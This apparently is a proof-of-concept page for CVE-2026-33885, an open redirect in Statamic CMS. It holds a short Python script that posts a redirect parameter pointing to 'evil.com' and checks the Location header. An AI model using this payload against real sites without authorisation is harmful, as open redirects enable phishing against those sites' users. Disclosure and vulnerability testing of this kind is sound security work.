CVE-2026-33885 Statamic CMS开放重定向漏洞

# PoC for CVE-2026-33885 (Open Redirect) # This script checks if the redirect parameter can be used to redirect to an external domain. import requests def check_open_redirect(target_url, redirect_param): # Construct the malicious payload payload = { redirect_param: "https://evil.com" } try: # Send request to the vulnerable endpoint response = requests.post(target_url, data=payload, allow_redirects=False, timeout=10) # Check the Location header for the redirect location = response.headers.get('Location', '') if 'evil.com' in location: print(f"[+] Vulnerable! Redirecting to: {location}") return True else: print("[-] Not vulnerable or payload invalid.") return False except Exception as e: print(f"Error: {e}") return False # Example usage target = "http://vulnerable-site.com/submit" # Replace with actual endpoint check_open_redirect(target, "redirect")